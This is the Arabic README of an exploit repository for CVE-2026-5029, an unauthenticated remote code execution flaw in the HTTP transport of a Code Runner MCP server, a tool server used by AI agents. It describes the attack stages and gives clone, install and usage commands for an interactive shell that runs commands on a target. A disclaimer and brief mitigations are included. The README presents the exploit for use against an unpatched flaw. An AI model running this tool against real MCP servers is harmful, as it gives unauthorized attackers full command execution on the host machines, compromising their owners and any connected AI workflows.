
run-code في MCPاستغلال إثبات المفهوم لثغرة CVE-2026-5029 — ثغرة حرجة لتنفيذ الأكواد عن بُعد دون مصادقة في خادم Code Runner MCP، يتم تفعيلها عبر أداة
run-codeفي MCP عند تشغيل الخادم باستخدام--transport http.
خادم Code Runner MCP يعرّض نقطة نهاية JSON-RPC باسم /mcp على المنفذ 3088 عند تشغيله مع العلم --transport http. يمكن الوصول إلى هذه النقطة دون أي مصادقة — لا مفتاح API، لا رمز جلسة، لا فحص للمصدر.
أي مهاجم بعيد دون مصادقة يمكنه الوصول إلى المنفذ يمكنه استدعاء أداة run-code في MCP مباشرة، والتي تقبل كودًا مصدريًا عشوائيًا ومعرّف لغة، وتكتبه إلى ملف مؤقت، وتنفذه عبر child_process.exec() باستخدام المفسِّر المقابل (bash، python، powershell، وأكثر من 30 لغة أخرى).
نظرًا لعدم تطبيق أي تعقيم على معامل code في أي مرحلة، فإن ذلك يؤدي إلى تنفيذ كامل للأكواد عن بُعد دون مصادقة بصلاحيات العملية التي تشغّل خادم MCP.
┌──────────┐ JSON-RPC tools/call ┌───────────────────────┐ exec() ┌──────────┐
│ Attacker │ ──── run-code tool ─────▶│ /mcp (port 3088) │ ─────────▶ │ RCE │
│ │ (no auth needed) │ Code Runner MCP │ │ on Host │
└──────────┘ └───────────────────────┘ └──────────┘
/mcp المكشوفة وجرد أدوات MCP المتاحةrun-code (code، languageId)tools/call مُصاغ بعناية مع code يتحكم به المهاجمcode إلى ملف مؤقت وينفذه عبر المفسِّر المحدد.
├── exploit.py # 🎯 Interactive RCE exploit shell (Rich-based terminal UI)
└── README.md # 📖 You are here
exploit.py — استغلال تفاعليالنص البرمجي الرئيسي للاستغلال، صُمم للاستخدام الاحترافي في تقييمات الأمان ودراسات الحالة. يتصل بخادم MCP المستهدف ويفتح غلافًا تفاعليًا حيث يتم تنفيذ أي أمر مباشرة عبر أداة run-code الضعيفة.
تشمل الميزات:
-l (الافتراضي هو shellscript)pip# Clone the repository
git clone https://github.com/0x00phantom-hat/CVE-2026-5029-Exploit.git
cd CVE-2026-5029-RCE-Exploit
# Install dependencies
pip install fastmcp rich
# Drop into an interactive RCE shell (default: shellscript)
python3 exploit.py -u http://TARGET:3088/mcp
# Use a specific language interpreter
python3 exploit.py -u http://TARGET:3088/mcp -l python
# List all languages the MCP server advertises support for
python3 exploit.py -u http://TARGET:3088/mcp --available
# Probe which language runtimes are actually installed on the target
python3 exploit.py -u http://TARGET:3088/mcp --installed -v
# Show the help menu
python3 exploit.py -h
عند الاتصال، يفتح الاستغلال موجهًا تفاعليًا:
PhantomHat-MCP@Exploit-CVE-2026-5029 $ id
اكتب exit لإغلاق الجلسة.
--transport http على أي واجهة شبكة قابلة للوصول — التزم بنقل stdio الافتراضي127.0.0.1 وضعه خلف خادم وكيل عكسي موثّق أو VPNrun-code غير المتوقعة والعمليات الفرعية غير المعتادةتُقدَّم هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قوانين تشمل قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب (Computer Misuse Act)، وتشريعات مماثلة حول العالم. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.
استخدم هذه الأداة فقط ضد الأنظمة التي تملكها أو لديك تصريح كتابي صريح لاختبارها.
المؤلف: Phantom Hat
لأغراض اختبار الاختراق المصرح به والبحث الأمني فقط.
| الخاصية | التفاصيل |
|---|
| معرّف CVE | CVE-2026-5029 |
| درجة CVSS | 8.7 / 10 — عالية |
| CWE | CWE-306 — غياب المصادقة لدالة حرجة |
| المنتج المتأثر | خادم Code Runner MCP |
| الإصدارات المتأثرة | (غير مُصححة) جميع الإصدارات التي تعرّض أداة run-code عبر --transport http |
| المصادقة | غير مطلوبة (بدون مصادقة) |
| حالة التصحيح | غير مُصححة |
| اكتُشفت بواسطة | Phantom Hat |
| العلم | الوصف | الافتراضي |
|---|
-u, --url | (مطلوب) رابط خادم MCP | — |
-l, --language | اللغة المستخدمة لتنفيذ الأكواد | shellscript |
-a, --available | سرد جميع اللغات المدعومة | مفتاح |
-i, --installed | فحص بيئات تشغيل اللغات المثبتة على الهدف | مفتاح |
-v, --verbose | وضع المخرجات المفصلة | مفتاح |
-h, --help | عرض قائمة المساعدة | — |
| المرحلة | الاسم | الوصف |
|---|
| 1 | 🔍 التعداد | الاتصال بـ /mcp وجرد أدوات MCP المتاحة |
| 2 | 🧪 اكتشاف المخطط | تأكيد مخطط إدخال run-code (code، languageId) |
| 3 | 💣 تسليم الاستغلال | إرسال طلب tools/call مُصاغ مع كود يتحكم به المهاجم |
| 4 | 🚀 التنفيذ التفاعلي | فتح غلاف مباشر — يتم تنفيذ كل أمر على الجهاز المستهدف |